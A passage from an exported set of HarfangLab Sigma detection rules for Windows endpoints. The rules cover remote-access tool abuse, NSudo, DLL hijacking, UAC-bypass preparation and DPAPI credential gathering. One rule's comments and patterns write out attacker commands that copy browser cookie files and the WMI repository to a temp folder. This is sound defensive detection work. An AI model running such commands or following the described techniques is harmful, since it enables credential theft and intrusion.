+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "535ea48e-2ee6-4997-83af-3260d094d0d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625990Z",
+  "creation_date": "2026-03-23T11:45:34.625992Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625996Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708",
+    "https://attack.mitre.org/techniques/T1219/002/"
+  ],
+  "name": "t1219_002_simplehelp_process_execution.yml",
+  "content": "title: Process Executed via SimpleHelp RMM\nid: 535ea48e-2ee6-4997-83af-3260d094d0d1\ndescription: |\n    Detects the execution of a process executed through SimpleHelp, a legitimate remote access tool.\n    Attackers can maliciously use remote access software to establish an interactive command and control channel to target systems within networks.\n    It is recommended to investigate the process to determine its legitimacy.\nreferences:\n    - https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708\n    - https://attack.mitre.org/techniques/T1219/002/\ndate: 2025/06/20\nmodified: 2025/12/29\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1219.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.RMM.SimpleHelp\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\Remote Access.exe'\n        GrandparentImage|endswith: '\\session_win.exe'\n\n    filter_legitimate:\n        Image:\n            - '?:\\Windows\\System32\\netsh.exe'\n            - '?:\\Windows\\System32\\cacls.exe'\n            - '*-complete\\winpty-agent64.exe'\n            - '*-complete\\elev_win.exe'\n            - '?:\\Windows\\System32\\icacls.exe'\n\n    exclusion_legitimate_commandline:\n        CommandLine:\n            - 'cscript ?:\\Windows\\System32\\Printing_Admin_Scripts\\\\??-??\\prnmngr.vbs -d -p SimpleHelp Remote Printer'\n            - 'cscript ?:\\Windows\\System32\\Printing_Admin_Scripts\\\\??-??\\prnport.vbs -d -r IP_127.0.0.1_9109'\n            - 'cmd.exe /c driverquery'\n            - 'cmd.exe /c schtasks'\n            - 'cmd.exe /c sc query'\n            - 'cmd.exe /c ipconfig /all'\n            - 'cmd.exe /c systeminfo'\n            - 'cmd.exe /c ver'\n            - 'wmic partition get name,size,type'\n            - 'wmic diskdrive get name,size,model'\n            - 'wmic bios get name,serialnumber,version'\n            - 'wmic csproduct get name,vendor,IdentifyingNumber'\n            - 'wmic get bios serialnumber'\n            - 'cmd.exe /c wmic printjob'\n            - 'cmd.exe /c wmic printer get caption,name,deviceid,drivername,portname'\n            - 'cmd.exe /c net use'\n            - 'cmd.exe /c net share'\n            - 'netstat -a'\n            - 'cmd.exe /c echo Computer: %COMPUTERNAME% & echo Username: %USERNAME% & echo Domain: %USERDOMAIN% & echo Logon Server: %LOGONSERVER% & echo DNS Domain: %USERDNSDOMAIN% & echo User Profile: %USERPROFILE% & echo System Root: %SYSTEMROOT%'\n            - 'wmic.exe /namespace:\\\\root\\SecurityCenter2 PATH AntiSpywareProduct get'\n            - 'wmic.exe /namespace:\\\\root\\SecurityCenter2 PATH AntiVirusProduct get'\n            - 'wmic.exe /namespace:\\\\root\\SecurityCenter2 PATH FirewallProduct get'\n            - 'cmd.exe /c netsh advfirewall show all State'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "535ea48e-2ee6-4997-83af-3260d094d0d1",
+  "rule_name": "Process Executed via SimpleHelp RMM",
+  "rule_description": "Detects the execution of a process executed through SimpleHelp, a legitimate remote access tool.\nAttackers can maliciously use remote access software to establish an interactive command and control channel to target systems within networks.\nIt is recommended to investigate the process to determine its legitimacy.\n",
+  "rule_creation_date": "2025-06-20",
+  "rule_modified_date": "2025-12-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1219.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "537c3c63-0a1d-4237-b175-bca6900b2cce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609317Z",
+  "creation_date": "2026-03-23T11:45:34.609321Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609329Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/1ZRR4H/status/1575364104822444032",
+    "https://github.com/M2Team/NSudo",
+    "https://attack.mitre.org/techniques/T1059/"
+  ],
+  "name": "t1059_execution_of_nsudo.yml",
+  "content": "title: NSudo Execution\nid: 537c3c63-0a1d-4237-b175-bca6900b2cce\ndescription: |\n    Detects the execution of NSudo.\n    NSudo is an executable containing many system administration tools that allows to launch programs with full privileges.\n    NSudo can be used by attackers to perform various actions while evading defenses.\n    It is recommended to investigate determine whether the usage of NSudo is considered legitimate administrative behavior in this organization to determine if this action is legitimate.\nreferences:\n    - https://twitter.com/1ZRR4H/status/1575364104822444032\n    - https://github.com/M2Team/NSudo\n    - https://attack.mitre.org/techniques/T1059/\ndate: 2022/11/03\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - attack.execution\n    - attack.t1059\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.NSudo\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - OriginalFileName:\n            - 'NSudoL.exe'\n            - 'NSudo.exe'\n        - Image|endswith:\n            - '\\NSudoLG.exe'\n            - '\\NSudoLC.exe'\n            - '\\NSudoL.exe'\n            - '\\NSudo.exe'\n\n    condition: selection\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "537c3c63-0a1d-4237-b175-bca6900b2cce",
+  "rule_name": "NSudo Execution",
+  "rule_description": "Detects the execution of NSudo.\nNSudo is an executable containing many system administration tools that allows to launch programs with full privileges.\nNSudo can be used by attackers to perform various actions while evading defenses.\nIt is recommended to investigate determine whether the usage of NSudo is considered legitimate administrative behavior in this organization to determine if this action is legitimate.\n",
+  "rule_creation_date": "2022-11-03",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059",
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5380e454-9b74-48ec-8cb3-438df8ed7659",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083177Z",
+  "creation_date": "2026-03-23T11:45:34.083179Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083183Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1006/"
+  ],
+  "name": "t1006_powershell_direct_drive_access.yml",
+  "content": "title: Direct Volume Access from DOS Path via PowerShell\nid: 5380e454-9b74-48ec-8cb3-438df8ed7659\ndescription: |\n    Detects a direct volume access from a DOS path in a PowerShell script.\n    Attackers may directly access a volume to bypass file access controls and file system monitoring.\n    It is recommended to investigate all the PowerShell commands associated with the process.\n    It is also recommended to check the process tree for suspicious activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1006/\ndate: 2021/12/13\nmodified: 2025/02/06\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1006\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains|all:\n            - 'New-Object IO.FileStream'\n            - '\"\\\\.\\?:\"'\n            - '.Read('\n            - '.Close()'\n            - \"'Open', 'Read', 'ReadWrite'\"\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5380e454-9b74-48ec-8cb3-438df8ed7659",
+  "rule_name": "Direct Volume Access from DOS Path via PowerShell",
+  "rule_description": "Detects a direct volume access from a DOS path in a PowerShell script.\nAttackers may directly access a volume to bypass file access controls and file system monitoring.\nIt is recommended to investigate all the PowerShell commands associated with the process.\nIt is also recommended to check the process tree for suspicious activities.\n",
+  "rule_creation_date": "2021-12-13",
+  "rule_modified_date": "2025-02-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "53817af8-8645-4335-b392-2d0268564b09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599255Z",
+  "creation_date": "2026-03-23T11:45:34.599259Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.599266Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hfiref0x/UACME",
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1112_programdata_environment_variable_modification.yml",
+  "content": "title: ProgramData User Environment Variable Modified\nid: 53817af8-8645-4335-b392-2d0268564b09\ndescription: |\n    Detects when the ProgramData user environment variable is being modified.\n    Attackers can change this environment variable to redirect execution of vulnerable applications or for the preparation of the CompMgmtLauncher.exe UACBypass.\n    This should not be normally defined in the user environment variables.\n    It is recommended to analyze the process responsible for this registry modification as well to as to look for other malicious behavior or UAC bypasses following this alert.\nreferences:\n    - https://github.com/hfiref0x/UACME\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2020/10/16\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_set_value:\n        EventType: 'SetValue'\n        TargetObject: 'HKU\\\\*\\Environment\\programdata'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    selection_rename:\n        EventType: 'RenameValue'\n        NewName: 'HKU\\\\*\\Environment\\programdata'\n\n    condition: (selection_set_value and not filter_empty) or selection_rename\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "53817af8-8645-4335-b392-2d0268564b09",
+  "rule_name": "ProgramData User Environment Variable Modified",
+  "rule_description": "Detects when the ProgramData user environment variable is being modified.\nAttackers can change this environment variable to redirect execution of vulnerable applications or for the preparation of the CompMgmtLauncher.exe UACBypass.\nThis should not be normally defined in the user environment variables.\nIt is recommended to analyze the process responsible for this registry modification as well to as to look for other malicious behavior or UAC bypasses following this alert.\n",
+  "rule_creation_date": "2020-10-16",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "53a9e918-581b-438c-846f-3eb2cbe098a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600192Z",
+  "creation_date": "2026-03-23T11:45:34.600195Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600202Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mdmappinstaller.yml",
+  "content": "title: DLL Hijacking via mdmappinstaller.exe\nid: 53a9e918-581b-438c-846f-3eb2cbe098a2\ndescription: |\n    Detects potential Windows DLL Hijacking via mdmappinstaller.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'mdmappinstaller.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DEVOBJ.dll'\n            - '\\DMCmnUtils.dll'\n            - '\\dmEnrollEngine.DLL'\n            - '\\iri.dll'\n            - '\\msi.dll'\n            - '\\msvcp110_win.dll'\n            - '\\omadmapi.dll'\n            - '\\USERENV.dll'\n            - '\\WTSAPI32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "53a9e918-581b-438c-846f-3eb2cbe098a2",
+  "rule_name": "DLL Hijacking via mdmappinstaller.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via mdmappinstaller.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "53f19997-8649-4b9f-8d36-bf6148563d24",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088506Z",
+  "creation_date": "2026-03-23T11:45:34.088508Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088512Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_chkdsk.yml",
+  "content": "title: DLL Hijacking via chkdsk.exe\nid: 53f19997-8649-4b9f-8d36-bf6148563d24\ndescription: |\n    Detects potential Windows DLL Hijacking via chkdsk.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'chkdsk.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\DEVOBJ.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "53f19997-8649-4b9f-8d36-bf6148563d24",
+  "rule_name": "DLL Hijacking via chkdsk.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via chkdsk.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5404c14d-2047-4c33-ac6d-2f18e200d173",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093722Z",
+  "creation_date": "2026-03-23T11:45:34.093724Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093736Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/zblurx/dploot",
+    "https://attack.mitre.org/techniques/T1047/",
+    "https://attack.mitre.org/techniques/T1555/003/",
+    "https://attack.mitre.org/techniques/T1003/",
+    "https://attack.mitre.org/techniques/T1539/"
+  ],
+  "name": "t1555_003_dploot_commandline.yml",
+  "content": "title: DPAPI Sensitive Files Gathered via NetExec/DonPAPI\nid: 5404c14d-2047-4c33-ac6d-2f18e200d173\ndescription: |\n    Detects sensitive file gathering via dploot.\n    dploot is a Python module specialized in gathering DPAPI (Data Protection Application Programming Interface) protected credentials, it is used in tool such as DonPAPI and NetExec.\n    DPAPI is a method to encrypt and decrypt sensitive data such as credentials using the CryptProtectData and CryptUnprotectData functions used in particular by browsers.\n    It is recommended to investigate actions made by the child process and identify the source of the remote connection using authentication logs.\nreferences:\n    - https://github.com/zblurx/dploot\n    - https://attack.mitre.org/techniques/T1047/\n    - https://attack.mitre.org/techniques/T1555/003/\n    - https://attack.mitre.org/techniques/T1003/\n    - https://attack.mitre.org/techniques/T1539/\ndate: 2024/10/15\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1047\n    - attack.credential_access\n    - attack.t1555.003\n    - attack.t1003\n    - attack.t1539\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.Dploot\n    - classification.Windows.HackTool.NetExec\n    - classification.Windows.HackTool.DonPAPI\n    - classification.Windows.Behavior.SensitiveInformation\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith:\n            - '\\wmiprvse.exe'  # wmiexec\n            - '\\mmc.exe'  # mmcexec\n            - '\\explorer.exe'  # dcomexec ShellBrowserWindow\n            - '\\services.exe'  # smbexec\n        CommandLine:\n            # cmd.exe /Q /c copy C:\\Windows\\System32\\wbem\\Repository\\OBJECTS.DATA C:\\Windows\\Temp\\1728914362.695766\n            # cmd.exe /Q /c copy C:\\Users\\Administrateur\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies C:\\Windows\\Temp\\1728908483.534047\n            - 'cmd.exe /Q /c copy *\\\\* *Windows\\Temp\\\\*'\n            - 'cmd.exe /Q /c esentutl.exe *\\\\* *Windows\\Temp\\\\*'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5404c14d-2047-4c33-ac6d-2f18e200d173",
+  "rule_name": "DPAPI Sensitive Files Gathered via NetExec/DonPAPI",
+  "rule_description": "Detects sensitive file gathering via dploot.\ndploot is a Python module specialized in gathering DPAPI (Data Protection Application Programming Interface) protected credentials, it is used in tool such as DonPAPI and NetExec.\nDPAPI is a method to encrypt and decrypt sensitive data such as credentials using the CryptProtectData and CryptUnprotectData functions used in particular by browsers.\nIt is recommended to investigate actions made by the child process and identify the source of the remote connection using authentication logs.\n",
+  "rule_creation_date": "2024-10-15",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003",
+    "attack.t1047",
+    "attack.t1539",
+    "attack.t1555.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "541b8dbb-5c51-45c6-a1c0-c427bc3f566d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
